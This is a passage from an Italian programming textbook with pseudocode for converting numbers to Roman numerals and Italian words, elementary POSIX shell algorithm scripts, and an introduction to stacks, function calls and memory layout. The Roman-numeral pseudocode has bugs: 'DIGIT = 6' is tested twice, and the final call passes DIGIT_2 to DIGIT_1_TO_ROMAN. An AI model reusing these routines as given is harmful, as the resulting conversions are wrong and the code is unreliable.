        ELSE IF DIGIT = 4
            THEN
                RETURN "XL"
        ELSE IF DIGIT = 5
            THEN
                RETURN "L"
        ELSE IF DIGIT = 6
            THEN
                RETURN "LX"
        ELSE IF DIGIT = 6
            THEN
```

```
                RETURN "LXX"
        ELSE IF DIGIT = 8
            THEN
                RETURN "LXXX"
        ELSE IF DIGIT = 9
            THEN
                RETURN "XC"
        END IF
    END DIGIT_2_TO_ROMAN

    DIGIT_3_TO_ROMAN (DIGIT)
        IF DIGIT = 0
            THEN
                RETURN ""
        ELSE IF DIGIT = 1
            THEN
                RETURN "C"
        ELSE IF DIGIT = 2
            THEN
                RETURN "CC"
        ELSE IF DIGIT = 3
            THEN
                RETURN "CCC"
        ELSE IF DIGIT = 4
            THEN
                RETURN "CD"
        ELSE IF DIGIT = 5
            THEN
                RETURN "D"
        ELSE IF DIGIT = 6
            THEN
                RETURN "DC"
        ELSE IF DIGIT = 7
            THEN
                RETURN "DCC"
        ELSE IF DIGIT = 8
            THEN
                RETURN "DCCC"
        ELSE IF DIGIT = 9
            THEN
                RETURN "CM"
        END IF
    END DIGIT_3_TO_ROMAN

    DIGIT_4_TO_ROMAN (DIGIT)
        IF DIGIT = 0
            THEN
```

```
                RETURN ""
        ELSE IF DIGIT = 1
            THEN
                RETURN "M"
        ELSE IF DIGIT = 2
            THEN
                RETURN "MM"
        ELSE IF DIGIT = 3
            THEN
                RETURN "MMM"
        ELSE IF DIGIT = 4
            THEN
                RETURN "MMMM"
        ELSE IF DIGIT = 5
            THEN
                RETURN "MMMMM"
        ELSE IF DIGIT = 6
            THEN
                RETURN "MMMMMM"
        ELSE IF DIGIT = 7
            THEN
                RETURN "MMMMMMM"
        ELSE IF DIGIT = 8
            THEN
                RETURN "MMMMMMMM"
        ELSE IF DIGIT = 9
            THEN
                RETURN "MMMMMMMMM"
        END IF
    END DIGIT_4_TO_ROMAN

    DIGIT_4 := int (N/1000)
    N := N - (DIGIT_4 * 1000)

    DIGIT_3 := int (N/100)
    N := N - (DIGIT_3 * 100)

    DIGIT_2 := int (N/10)
    N := N - (DIGIT_2 * 10)

    DIGIT_1 := N

    RETURN DIGIT_4_TO_ROMAN (DIGIT_4)
           DIGIT_3_TO_ROMAN (DIGIT_3)
           DIGIT_2_TO_ROMAN (DIGIT_2)
           DIGIT_1_TO_ROMAN (DIGIT_2)
```

```
END INTEGER_TO_ROMAN
```

Come si vede, dopo aver scomposto il valore in quattro fasce, si utilizzano quattro funzioni distinte per ottenere la porzione di stringa che traduce il valore relativo. L'istruzione '**RETURN**' finale intende concatenare tutte le stringhe risultanti.

73.7.3 Da numero a lettere, nel senso verbale

Quando si trasforma un numero in lettere, per esempio quando si vuole trasformare 123 in «centoventitre», l'algoritmo di conversione deve tenere conto delle convenzioni linguistiche e non esiste una soluzione generale per tutte le lingue.

Per quanto riguarda la lingua italiana, esistono nomi diversi fino al 19, poi ci sono delle particolarità per i plurali o i singolari. La pseudocodifica seguente risolve il problema in una sola funzione ricorsiva. Le omissioni dovrebbero essere sufficientemente intuitive.

```
INTEGER_TO_ITALIAN (N)

    LOCAL X INTEGER
    LOCAL Y INTEGER

    IF N = 0
        THEN
            RETURN ""
    ELSE IF N = 1
        THEN
            RETURN "UNO"
    ELSE IF N = 2
        THEN
            RETURN "DUE"
    ELSE IF N = 3
        THEN
            RETURN "TRE"
    ELSE IF N = 4
        THEN
            RETURN "QUATTRO"
    ELSE IF N = 5
        THEN
            RETURN "CINQUE"
    ELSE IF N = 6
        THEN
            RETURN "SEI"
    ELSE IF N = 7
        THEN
            RETURN "SETTE"
    ELSE IF N = 8
        THEN
            RETURN "OTTO"
```

```
    ELSE IF N = 9
        THEN
            RETURN "NOVE"
    ELSE IF N = 10
        THEN
            RETURN "DIECI"
    ELSE IF N = 11
        THEN
            RETURN "UNDICI"
    ELSE IF N = 12
        THEN
            RETURN "DODICI"
    ELSE IF N = 13
        THEN
            RETURN "TREDICI"
    ELSE IF N = 14
        THEN
            RETURN "QUATTORDICI"
    ELSE IF N = 15
        THEN
            RETURN "QUINDICI"
    ELSE IF N = 16
        THEN
            RETURN "SEDICI"
    ELSE IF N = 17
        THEN
            RETURN "DICIASSETTE"
    ELSE IF N = 18
        THEN
            RETURN "DICIOTTO"
    ELSE IF N = 19
        THEN
            RETURN "DICIANNOVE"
    ELSE IF N = 20
        THEN
            RETURN "VENTI"
    ELSE IF N = 21
        THEN
            RETURN "VENTUNO"
    ELSE IF (N >= 22) AND (N <= 29)
        THEN
            RETURN "VENTI" INTEGER_TO_ITALIAN (N-20)
    ELSE IF N = 30
        THEN
            RETURN "TRENTA"
    ELSE IF N = 31
        THEN
```

```
            RETURN "TRENTUNO"
    ELSE IF (N >= 32) AND (N <= 39)
        THEN
            RETURN "TRENTA" INTEGER_TO_ITALIAN (N-30)

    …
    …
    ELSE IF N = 90
        THEN
            RETURN "NOVANTA"
    ELSE IF N = 91
        THEN
            RETURN "NOVANTUNO"
    ELSE IF (N >= 92) AND (N <= 99)
        THEN
            RETURN "NOVANTA" INTEGER_TO_ITALIAN (N-90)
    ELSE IF (N >= 100) AND (N <= 199)
        THEN
            RETURN "CENTO" INTEGER_TO_ITALIAN (N-100)
    ELSE IF (N >= 200) AND (N <= 999)
        THEN
            X := int (N / 100)
            Y := N - (X * 100)
            RETURN INTEGER_TO_ITALIAN (X)
                   "CENTO"
                   INTEGER_TO_ITALIAN (Y)
    ELSE IF (N >= 1000) AND (N <= 1999)
        THEN
            RETURN "MILLE" INTEGER_TO_ITALIAN (N-1000)
    ELSE IF (N >= 2000) AND (N <= 999999)
        THEN
            X := int (N / 1000)
            Y := N - (X * 1000)
            RETURN INTEGER_TO_ITALIAN (X)
                   "MILA"
                   INTEGER_TO_ITALIAN (Y)
    ELSE IF (N >= 1000000) AND (N <= 1999999)
        THEN
            RETURN "UNMILIONE" INTEGER_TO_ITALIAN (N-1000000)
    ELSE IF (N >= 2000000) AND (N <= 999999999)
        THEN
            X := int (N / 1000000)
            Y := N - (X * 1000000)
            RETURN INTEGER_TO_ITALIAN (X)
                   "MILIONI"
                   INTEGER_TO_ITALIAN (Y)
    ELSE IF (N >= 1000000000) AND (N <= 1999999999)
```

```
        THEN
            RETURN "UNMILIARDO" INTEGER_TO_ITALIAN (N-1000000000)
    ELSE IF (N >= 2000000000) AND (N <= 999999999999)
        THEN
            X := int (N / 1000000000)
            Y := N - (X * 1000000000)
            RETURN INTEGER_TO_ITALIAN (X)
                   "MILIARDI"
                   INTEGER_TO_ITALIAN (Y)
    ELSE
        "##ERROR##"
    END IF
END INTEGER_TO_ITALIAN
```

73.8 Algoritmi elementari con la shell POSIX

Questa sezione raccoglie degli esempi di programmazione per lo studio elementare degli algoritmi, realizzati in forma di script per una shell POSIX. Questi esempi sono ottenuti ricostruendo un lavoro didattico del 1983, realizzato allora con degli script ARCS, un linguaggio del sistema operativo CMS (*Computer management system*) Burroughs.

73.8.1 ARCS0: ricerca del valore più grande tra tre numeri interi

```
#!/bin/sh
##
## ARCS0 1983-07-02
##
## Trovare il più grande fra tre numeri interi, diversi tra loro.
##

printf "inserisci il primo numero   "
read a

printf "inserisci il secondo numero "
read b

printf "inserisci il terzo numero   "
read c

if [ $a -gt $b ]
then
    if [ $a -gt $c ]
    then
        echo "il numero maggiore è $a"
    else
        echo "il numero maggiore è $c"
```

```
    fi
else
    if [ $b -gt $c ]
    then
        echo "il numero maggiore è $b"
    else
        echo "il numero maggiore è $c"
    fi
fi
```

73.8.2 ARCS1: moltiplicazione di due numeri interi

```
##
## ARCS1 1983-07-06
##
## Moltiplicazione di due numeri.
##

printf "inserisci il primo numero   - 0 per finire "
read x
printf "inserisci il secondo numero - 0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    z=0
    while [ $y -ne 0 ]
    do
        z=$(($z + $x))
        y=$(($y - 1))
    done
    echo "il risultato è $z"
    printf "inserisci il primo numero   - 0 per finire "
    read x
    printf "inserisci il secondo numero - 0 per finire "
    read y
done
```

73.8.3 ARCS2: valore assoluto della differenza tra due valori

```
#!/bin/sh
##
## ARCS2 1983-07-06
##
## Valore assoluto della differenza tra due numeri.
##
```

```
printf "inserisci x   0 per finire "
read x
printf "inserisci y   0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    if [ $x -lt $y ]
    then
        u=$x
        x=$y
        y=$u
    fi
    z=$(($x - $y))
    echo "|x-y| = $z"
    printf "inserisci x   0 per finire "
    read x
    printf "inserisci y   0 per finire "
    read y
done
```

73.8.4 ARCS3: somma tra due numeri

```
#!/bin/sh
##
## ARCS3 1983-07-07
##
## Somma tra due numeri.
##

printf "inserisci x   0 per finire "
read x
printf "inserisci y   0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    while [ $y -ne 0 ]
    do
        x=$(($x + 1 ))
        y=$(($y - 1))
    done
    echo "x+y = $x"
    printf "inserisci x   0 per finire "
    read x
    printf "inserisci y   0 per finire "
    read y
done
```

73.8.5 ARCS4: prodotto tra due numeri

```
#!/bin/sh
##
## ARCS4 1983-07-07
##
## Prodotto tra due numeri.
##

printf "inserisci x   0 per finire "
read x
printf "inserisci y   0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    z=0
    t=$y
    while [ $t -ne 0 ]
    do
        u=$z
        v=$x
        while [ $v -ne 0 ]
        do
            u=$(($u + 1))
            v=$(($v - 1))
        done
        z=$u
        t=$(($t - 1))
    done
    echo "x*y = $z"
    printf "inserisci x   0 per finire "
    read x
    printf "inserisci y   0 per finire "
    read y
done
```

73.8.6 ARCS5: quoziente

```
#!/bin/sh
##
## ARCS5 1983-07-07
##
## Quoziente.
##

printf "inserisci x   0 per finire "
read x
```

```
printf "inserisci y   0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    if [ $y -eq 0 ]
    then
        echo "x / 0 = indefinito"
    else
        z=0
        if [ $x -ge $y ]
        then
            u=$x
            until [ $u -le 0 ]
            do
                u=$(($u - $y))
                if [ $u -ge 0 ]
                then
                    z=$(($z + 1))
                fi
            done
            echo "x / y = $z"
        else
            echo "x / y = $z"
        fi
    fi
    printf "inserisci x   0 per finire "
    read x
    printf "inserisci y   0 per finire "
    read y
done
```

73.8.7 ARCS6: verifica della parità di un numero

```
#!/bin/sh
##
## ARCS6 1983-07-07
##
## Verifica della parità di un numero.
##

printf "inserisci x   0 per finire "
read x
until [ $x -eq 0 ]
do
    y=$((($x / 2) * 2))
    if [ $x -ne $y ]
```

```
    then
        echo "il numero $x è dispari"
    else
        echo "il numero $x è pari"
    fi
    printf "inserisci x   0 per finire "
    read x
done
```

73.8.8 ARCS7: fattoriale

```
#!/bin/sh
##
## ARCS7 1983-07-08
##
## Fattoriale di un numero.
##

printf "inserisci il numero    99 per finire "
read n
until [ $n -eq 99 ]
do
    z=1
    k=0
    while [ $k -ne $n ]
    do
        k=$(($k + 1))
        z=$(($z * $k))
    done
    echo "$n! = $z"
    printf "inserisci il numero    99 per finire "
    read n
done
```

73.8.9 ARCS8: coefficiente binomiale

```
#!/bin/sh
##
## ARCS8 1983-07-08
##
## Coefficiente binomiale.
##
## /n\   =   n*(n-1)*...*(n-k+1)  /  k!
## \k/
##
```

```
printf "inserisci n    999 per finire "
read a
printf "inserisci k    999 per finire "
read b
until [ $a -eq 999 ] && [ $b = 999 ]
do
    if [ $b -eq 0 ]
    then
        echo "il coefficiente binomiale di n su 0 è 1"
    else
        k1=0
        z1=1
        while [ $k1 -ne $b ]
        do
            k1=$(($k1 + 1))
            z1=$((z1 * k1))
        done
        y=$z1
        k2=$(($a - $b))
        z2=1
        while [ $k2 -ne $a ]
        do
            k2=$(($k2 + 1))
            z2=$(($z2 * $k2))
        done
        x=$z2
        z=$(($x / $y))
        echo "il coefficiente binomiale è $x/$y"
        echo "che se viene calcolato con approssimazione"
        echo "di una unità, dà $z"
    fi
    printf "inserisci n    999 per finire "
    read a
    printf "inserisci k    999 per finire "
    read b
done
```

73.8.10 ARCS10: massimo comune divisore

```
#!/bin/sh
##
## ARCS10 1983-07-09
##
## M.C.D.
##
```

```
printf "inserisci x    0 per finire "
read x
printf "inserisci y    0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    z=$x
    w=$y
    while [ $z -ne $w ]
    do
        if [ $z -gt $w ]
        then
            z=$(($z - $w))
        else
            w=$(($w - $z))
        fi
    done
    echo "il M.C.D. di $x e $y è $z"
    printf "inserisci x    0 per finire "
    read x
    printf "inserisci y    0 per finire "
    read y
done
```

73.8.11 ARCS11: massimo comune divisore

```
#!/bin/sh
##
## ARCS11 1983-07-09
##
## M.C.D.
##

printf "inserisci x    0 per finire "
read x
printf "inserisci y    0 per finire "
read y
until [ $x -eq 0 ] && [ $y -eq 0 ]
do
    z=$x
    w=$y
    while [ $z -ne $w ]
    do
        while [ $z -gt $w ]
        do
```

```
            z=$(($z - $w))
        done
        while [ $w -gt $z ]
        do
            w=$(($w - $z))
        done
    done
    echo "il M.C.D. di $x e $y è $z"
    printf "inserisci x    0 per finire "
    read x
    printf "inserisci y    0 per finire "
    read y
done
```

73.8.12 ARCS12: radice quadrata intera

```
#!/bin/sh
##
## ARCS12 1983-07-09
##
## radice quadrata intera
##

printf "inserisci il numero di cui vuoi la radice    0 per finire "
read x
until [ $x -eq 0 ]
do
    z=0
    t=0
    until [ $t -ge $x ]
    do
        z=$(($z + 1))
        t=$(($z * $z))
    done
    if [ $t -ne $x ]
    then
        z=$(($z - 1))
    fi
    echo "la radice intera di $x è $z"
    printf "inserisci il numero di cui vuoi la radice    0 per finire "
    read x
done
```

73.8.13 ARCS13: numero primo

```
#!/bin/sh
##
## ARCS13 1983-07-09
##
## il numero è primo?
##

printf "inserisci il numero     9999 per finire "
read x
until [ $x -eq 9999 ]
do
    primo=1
    k=2
    while [ $k -lt $x ] && [ $primo -eq 1 ]
    do
        t=$(($x / $k))
        t=$(($x - ($t * $k)))
        if [ $t -eq 0 ]
        then
            primo=0
        else
            k=$(($k + 1))
        fi
    done
    if [ $primo -eq 1 ]
    then
        echo "il numero $x è primo"
    else
        echo "il numero $x non è primo"
    fi
    printf "inserisci il numero     9999 per finire "
    read x
done
```

73.8.14 ARCS14: numero primo

```
#!/bin/sh
##
## ARCS14 1983-07-09
##
## il numero è primo?
## questa versione non funziona correttamente con 0 e 1.
##

printf "inserisci il numero     9999 per finire "
```

```
read x
until [ $x -eq 9999 ]
do
    primo=1
    z=0
    t=0
    until [ $t -ge $x ]
    do
        z=$(($z + 1))
        t=$(($z * $z))
    done
    if [ $t -ne $x ]
    then
        z=$(($z - 1))
    else
        primo=0
    fi
    k=2
    while [ $k -lt $x ] && [ $primo -eq 1 ]
    do
        t=$(($x / $k))
        t=$(($x - ($t * $k)))
        if [ $t -eq 0 ]
        then
            primo=0
        else
            k=$(($k + 1))
        fi
    done
    if [ $primo -eq 1 ]
    then
        echo "il numero $x è primo"
    else
        echo "il numero $x non è primo"
    fi
    printf "inserisci il numero     9999 per finire "
    read x
done
```

73.9 Riferimenti

- Th. Estier, *What is BNF notation?*
  ⟨http://cui.unige.ch/db-research/Enseignement/analyseinfo/AboutBNF.html⟩

Capitolo 74

Linguaggio macchina

74.1 Organizzazione della memoria 4166

74.1.1 Pila per salvare i dati 4166
74.1.2 Chiamate di funzioni 4167
74.1.3 Funzioni attraverso le istruzioni di salto 4172
74.1.4 Variabili e array 4173
74.1.5 Gestione alternativa degli indici 4176
74.1.6 Ordine dei byte 4178
74.1.7 Stringhe, array e puntatori 4179
74.1.8 Utilizzo della memoria 4179

74.2 Architettura, linguaggio, contesto virtuale, terminologia 4181

74.2.1 Memoria e registri 4181
74.2.2 Indicatori o «flag» 4182
74.2.3 «Opcode» 4182
74.2.4 Accesso alla memoria 4182
74.2.5 Modello della memoria nei sistemi Unix 4183
74.2.6 Sintassi «AT&T» e «Intel» 4184
74.2.7 Macchina virtuale 4184
74.2.8 Compilazione e collegamento 4185

74.3 Rappresentazione di valori numerici 4186

74.3.1 Codifica delle singole cifre 4186
74.3.2 Rappresentazione binaria di numeri interi senza segno 4187
74.3.3 Rappresentazioni binarie superate di numeri interi con segno 4187
74.3.4 Complemento a due 4188
74.3.5 Rappresentazione binaria di numeri in virgola mobile 4189
74.3.6 Rappresentazione in virgola mobile IEEE 754 4190
74.3.7 Ordine dei byte 4192

74.4 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori 4193

74.4.1 Modifica della quantità di cifre di un numero binario intero 4193
74.4.2 Sommatorie con i valori interi con segno 4194
74.4.3 Somme e sottrazioni con i valori interi senza segno 4196
74.4.4 Somme e sottrazioni in fasi successive 4198
74.4.5 Indicatori 4201

74.5 Scorrimenti, rotazioni, operazioni logiche 4203

74.5.1 Scorrimento logico 4203

74.5.2 Scorrimento aritmetico 4203
74.5.3 Scorrimento e indicatori 4204
74.5.4 Moltiplicazione 4204
74.5.5 Divisione 4205
74.5.6 Rotazione 4206
74.5.7 Rotazione e indicatori 4206
74.5.8 Operatori logici 4207
74.5.9 Intervenire su bit singoli 4208
74.5.10 Somme e sottrazioni abbinate agli operatori logici 4209

74.6 Confronti attraverso la sottrazione 4209

74.6.1 Confronto di valori senza segno 4209
74.6.2 Confronto di valori con segno 4210

74.7 Riferimenti 4212

74.1 Organizzazione della memoria

Qui si introduce il problema dell'organizzazione della memoria, da un punto di vista molto vicino a quello della realtà fisica dell'elaboratore. In particolare, viene utilizzata la pseudocodifica, già descritta nella sezione 73.2, per dimostrare in parte il funzionamento e l'utilizzo della pila dei dati, di cui, normalmente, ogni programma dispone.

74.1.1 Pila per salvare i dati

Quando si scrive con un linguaggio di programmazione molto vicino a quello effettivo del microprocessore, si ha normalmente a disposizione una pila di elementi omogenei (*stack*), usata per accumulare temporaneamente delle informazioni, da espellere poi in senso inverso. Questa pila è gestita attraverso un vettore, dove l'ultimo elemento (quello superiore) è individuato attraverso un indice noto come *stack pointer* e tutti gli elementi della pila sono comunque accessibili, in lettura e in sovrascrittura, se si conosce la loro posizione relativa.

Figura 74.1. Una pila che può contenere al massimo nove elementi, rappresentata nel modo tradizionale, oppure distesa, come si fa per i vettori. Gli elementi che si trovano oltre l'indice (lo *stack pointer*) non sono più disponibili, mentre gli altri possono essere letti e modificati senza doverli estrarre dalla pila.

Per accumulare un dato nella pila (*push*) si incrementa di una unità l'indice e lo si inserisce in quel nuovo elemento. Per estrarre l'ultimo elemento dalla pila (*pop*) si legge il contenuto di quello corrispondente all'indice e si decrementa l'indice di una unità.

Tra le altre cose, la pila può servire quando si dispone di una quantità limitata di variabili e si devono accumulare temporaneamente dei valori.

74.1.2 Chiamate di funzioni

I linguaggi di programmazione più vicini alla realtà fisica della memoria di un elaboratore, possono disporre solo di variabili globali ed eventualmente di una pila, realizzata attraverso un vettore, come descritto nella sezione precedente. In questa situazione, la chiamata di una funzione può avvenire solo passando i parametri in uno spazio di memoria condiviso da tutto il programma. Ma per poter generalizzare le funzioni e per consentire la ricorsione, ovvero per rendere le funzioni ***rientranti***, il passaggio dei parametri deve avvenire attraverso la pila in questione.

Per mostrare un esempio iniziale che consenta di comprendere il meccanismo, si può supporre di poter utilizzare delle variabili locali nelle funzioni, mentre per il passaggio dei valori si deve usa la pila. Si vuole trasformare il codice della pseudocodifica seguente in modo da utilizzare tale pila. Si consideri che il programma inizia e finisce nella funzione ***MAIN()***, all'interno della quale si fa la chiamata della funzione ***SOMMA()***:

```
SOMMA (X, Y)
    LOCAL Z INTEGER
    Z := X + Y
    RETURN Z
END SOMMA

MAIN ()
```

```
    LOCAL A INTEGER
    LOCAL B INTEGER
    LOCAL C INTEGER
    A := 3
    B := 4
    C := SOMMA (A, B)
END MAIN
```

Il programma si trasforma in modo da accumulare nel vettore '**PILA**' i valori dei parametri della chiamata:

```
GLOBAL PILA[1000] INTEGER
GLOBAL SP         INTEGER
SP := -1

SOMMA ()
    LOCAL X := PILA[SP]         # Copia il valore del primo parametro.
    LOCAL Y := PILA[SP - 1]     # Copia il valore del secondo parametro.

    LOCAL Z INTEGER
    Z := X + Y

    SP++                        #
    PILA[SP] := Z               # Accumula il risultato della somma.

END SOMMA

MAIN ()
    LOCAL A INTEGER
    LOCAL B INTEGER
    LOCAL C INTEGER
    A := 3
    B := 4

    SP++               #
    PILA[SP] := B      # Accumula il secondo parametro nella pila.

    SP++               #
    PILA[SP] := A      # Accumula il primo parametro nella pila.

    SOMMA ()           # Chiama la funzione SOMMA().

    C := PILA[SP]      #
    SP--               # Estrae il risultato.

    SP--               # Elimina il primo parametro della chiamata.
    SP--               # Elimina il secondo parametro della chiamata.

END MAIN
```

Nella nuova versione della pseudocodifica, la chiamata della funzione '**`SOMMA`**' è preceduta dall'accumulo nella pila dei parametri, quindi è seguita dall'estrazione del risultato della somma e dall'eliminazione dei due parametri usati nella chiamata (con la sola riduzione del valore dell'indice del vettore). All'interno della funzione '**`SOMMA`**' si acquisiscono i parametri leggendo i dati corrispondenti dal vettore che li convoglia, sapendo che il primo è nella posizione dell'indice (in quanto è l'ultimo elemento inserito nella pila) e che il secondo è nella posizione precedente. Alla fine, dopo l'esecuzione della somma, il risultato viene inserito nella pila.

L'esempio seguente risolve il problema del calcolo del fattoriale, in modo ricorsivo, seguendo la modalità appena descritta:

```
GLOBAL PILA[1000] INTEGER
GLOBAL SP         INTEGER
SP := -1

FATTORIALE ()
    LOCAL X := PILA[SP]
    LOCAL W INTEGER

    IF X == 1
        THEN
            SP++                # Accumula il risultato da restituire,
            PILA[SP] := 1       # pari a uno.
        ELSE
            SP++                # Accumula il parametro di chiamata della
            PILA[SP] := X - 1   # funzione con un valore pari a X - 1.

            FATTORIALE ()

            W := PILA[SP]       # Recupera il risultato della chiamata
            SP--                # ricorsiva con un valore pari a X - 1.

            SP--                # Scarica il parametro usato per la chiamata.

            SP++                # Accumula il risultato del fattoriale
            PILA[SP] := X * W   # da restituire.
    END IF

END FATTORIALE

MAIN ()
    LOCAL F INTEGER
    F := 7

    SP++                # Accumula il valore di cui si vuole calcolare
    PILA[SP] := F       # il fattoriale.

    FATTORIALE ()       # Calcola il fattoriale.

    F := PILA[SP]       # Estrae il risultato del fattoriale e scarica
    SP--                # il valore dalla pila.

    SP--                # Scarica la pila del parametro usato nella chiamata.

END MAIN
```

Se non si possono gestire variabili locali, la pila va usata anche per salvare le variabili che altrimenti verrebbero sovrascritte con la chiamata ricorsiva:

```
GLOBAL PILA[1000] INTEGER
GLOBAL SP         INTEGER
SP := -1

GLOBAL X          INTEGER
GLOBAL W          INTEGER

FATTORIALE ()
    X := PILA[SP]

    IF X == 1
        THEN
            SP++                # Accumula il risultato da restituire,
            PILA[SP] := 1       # pari a uno.
        ELSE
            SP++                #
            PILA[SP] := X       # Salva il valore di X nella pila.

            SP++                # Accumula il parametro di chiamata della
            PILA[SP] := X - 1   # funzione con un valore pari a X - 1.

            FATTORIALE ()

            W := PILA[SP]       # Recupera il risultato della chiamata
            SP--                # ricorsiva con un valore pari a X - 1.

            SP--                # Scarica il parametro usato per la chiamata.

            X := PILA[SP]       # Recupera il valore di X prima della
            SP--                # chiamata ricorsiva.

            SP++                # Accumula il risultato del fattoriale
            PILA[SP] := X * W   # da restituire.
    END IF

END FATTORIALE
…
…
```

Come si vede nel nuovo esempio, prima della chiamata ricorsiva viene salvata nella pila solo la variabile X, perché il valore di W non dipende dall'elaborazione e tale variabile riceve un valore utile solo dopo la chiamata in questione. Naturalmente, si comprende che in questo caso particolare, non sarebbe stato nemmeno necessario salvare la variabile X, in quanto il suo valore corretto, dopo la chiamata ricorsiva, lo si può determinare semplicemente reincrementandolo di una unità. Ma qui si è preferito mostrare un esempio molto semplice, risolvendolo in modo generalizzato, anche se ciò non sarebbe necessario.

74.1.3 Funzioni attraverso le istruzioni di salto

Con l'uso di linguaggi di programmazione ragionevolmente evoluti, i salti (*go to*), condizionati o meno, vanno evitati, dal momento che esistono delle strutture per il controllo del flusso e si può disporre di chiamate di funzioni o procedure. Tuttavia, quando si deve scrivere con un linguaggio molto vicino alla realtà fisica dell'elaboratore, non si dispone più di questi ausilii, o comunque occorre fare i conti con un indice riferito alle istruzioni da eseguire.

In pratica, il programma viene a trovarsi disposto in un vettore, dove un indice serve a sapere qual è l'istruzione successiva da eseguire: *instruction pointer*. Nel momento in cui si esegue un'istruzione normale, l'indice viene incrementato automaticamente per posizionarsi all'inizio dell'istruzione successiva, mentre in presenza di un'istruzione di salto, l'esecuzione di tale istruzione sposta l'indice nella nuova destinazione.

In queste condizioni, per ottenere ciò che di solito si realizza con delle funzioni ricorsive, occorre gestire l'indice delle istruzioni direttamente. Per la precisione, prima di saltare all'inizio di una funzione, oltre che accumulare i parametri della chiamata nella pila già descritta, occorre accumulare l'indice delle istruzioni, in modo tale da poter riprendere dall'istruzione successiva alla chiamata dopo l'esecuzione di ciò che rappresenta tale funzione.

```
GLOBAL IP          INTEGER       # «Instruction pointer» (sola lettura).
GLOBAL RETURN      INTEGER       # Destinazione per il ritorno.
…
GLOBAL PILA[1000]  INTEGER
GLOBAL SP          INTEGER
SP := -1
…
GLOBAL X           INTEGER
GLOBAL W           INTEGER
…
FATTORIALE ()
    X := PILA[SP - 1]            # Recupera il primo parametro.
                                 # Si ricorda che "PILA[SP]" contiene
                                 # l'indirizzo di ritorno.

    IF X == 1
        THEN
            RETURN := PILA[SP]   # Recupera l'indirizzo di ritorno.
            SP++                 # Accumula il risultato da restituire,
            PILA[SP] := 1        # pari a uno.
            GO_TO RETURN         # Torna all'istruzione successiva alla chiamata.
        ELSE
            SP++                 #
            PILA[SP] := X        # Salva il valore di X nella pila.

            SP++                 # Accumula il parametro di chiamata della
            PILA[SP] := X - 1    # funzione con un valore pari a X - 1.

            SP++                 # Accumula l'indirizzo dell'istruzione
            PILA[SP] := IP + 1   # successiva alla prossima.

            GO_TO FATTORIALE () # Salta all'inizio della funzione.
```

```
            SP--                # Scarica l'indirizzo di ritorno della
                                # funzione appena conclusa.

            W := PILA[SP]       # Recupera il risultato della chiamata
            SP--                # ricorsiva con un valore pari a X - 1.

            SP--                # Scarica il parametro usato per la chiamata.

            X := PILA[SP]       # Recupera il valore di X prima della
            SP--                # chiamata ricorsiva.

            RETURN := PILA[SP]  # Recupera l'indirizzo di ritorno.
            SP++                # Accumula il risultato del fattoriale
            PILA[SP] := X * W   # da restituire.
            GO_TO RETURN        # Torna all'istruzione successiva alla chiamata.
    END IF

END FATTORIALE
…
…
```

Nell'esempio mostrato si considera che la variabile ***IP*** sia accessibile in sola lettura e che contenga l'indice dell'istruzione successiva o di quella richiesta da un'istruzione di salto. Prima del salto all'inizio di una funzione, si accumula il valore di ***IP*** nella pila, ma incrementandolo di ciò che serve a raggiungere l'istruzione successiva al salto stesso (si suppone che l'incremento di una unità dia il risultato voluto). Nel momento appropriato, il valore dell'indice viene prelevato dalla pila e inserito in una variabile apposita, da usare per saltare alla posizione di ritorno.

74.1.4 Variabili e array

Con un linguaggio di programmazione molto vicino alla realtà fisica dell'elaboratore, la memoria centrale viene vista come un vettore di celle uniformi, corrispondenti normalmente a un byte. All'interno di tale vettore si distendono tutti i dati gestiti, compresa la pila descritta nella sezione 74.1.1. In questo modo, le variabili in memoria si raggiungono attraverso un indirizzo che individua il primo byte che le compone ed è il programma che deve sapere di quanti byte sono composte complessivamente.

Figura 74.7. Esempio di mappa di una memoria di soli 256 byte, dove sono evidenziate alcune variabili. Gli indirizzi dei byte della memoria vanno da 00_{16} a FF_{16}.

Nel disegno in cui si ipotizza una memoria complessiva di 256 byte, sono state evidenziate alcune aree di memoria:

Indirizzo	Dimensione	Indirizzo	Dimensione
54_{16}	4 byte	58_{16}	4 byte
$5C_{16}$	2 byte	$5E_{16}$	4 byte
62_{16}	8 byte	$6A_{16}$	4 byte
$6E_{16}$	1 byte	$6F_{16}$	8 byte

Con una gestione di questo tipo della memoria, la rappresentazione degli array richiede un po' di impegno da parte del programmatore. Nella figura successiva si rappresenta una matrice a tre dimensioni; per ora si ignorino i codici numerici associati alle celle visibili.

Figura 74.9. La matrice a tre dimensioni che si vuole rappresentare, secondo un modello spaziale. I numeri che appaiono servono a trovare successivamente l'abbinamento con le celle di memoria utilizzate.

Dal momento che la rappresentazione tridimensionale rischia di creare confusione, quando si devono rappresentare matrici che hanno più di due dimensioni, è più conveniente pensare a strutture ad albero. Nella figura successiva viene tradotta in forma di albero la matrice rappresentata precedentemente.

Figura 74.10. La matrice a tre dimensioni che si vuole rappresentare, tradotta in uno schema gerarchico (ad albero).

77
77 87 97
77 7F 87 8F 97 9F
77 79 7B 7D 7F 81 83 85 87 89 8B 8D 8F 91 93 95 97 99 9B 9D 9F A1 A3 A5

Si suppone di rappresentare la matrice in questione nella memoria dell'elaboratore, dove ogni elemento terminale contiene due byte. Supponendo di allocare l'array a partire dall'indirizzo 77_{16} nella mappa di memoria già descritta, si potrebbe ottenere quanto si vede nella figura successiva. A questo punto, si può vedere la corrispondenza tra gli indirizzi dei vari componenti dell'array e le figure già mostrate.

Figura 74.11. Esempio di mappa di memoria in cui si distende un array che rappresenta una matrice a tre dimensioni con tre elementi contenenti ognuno due elementi che a loro volta contengono quattro elementi da due byte.

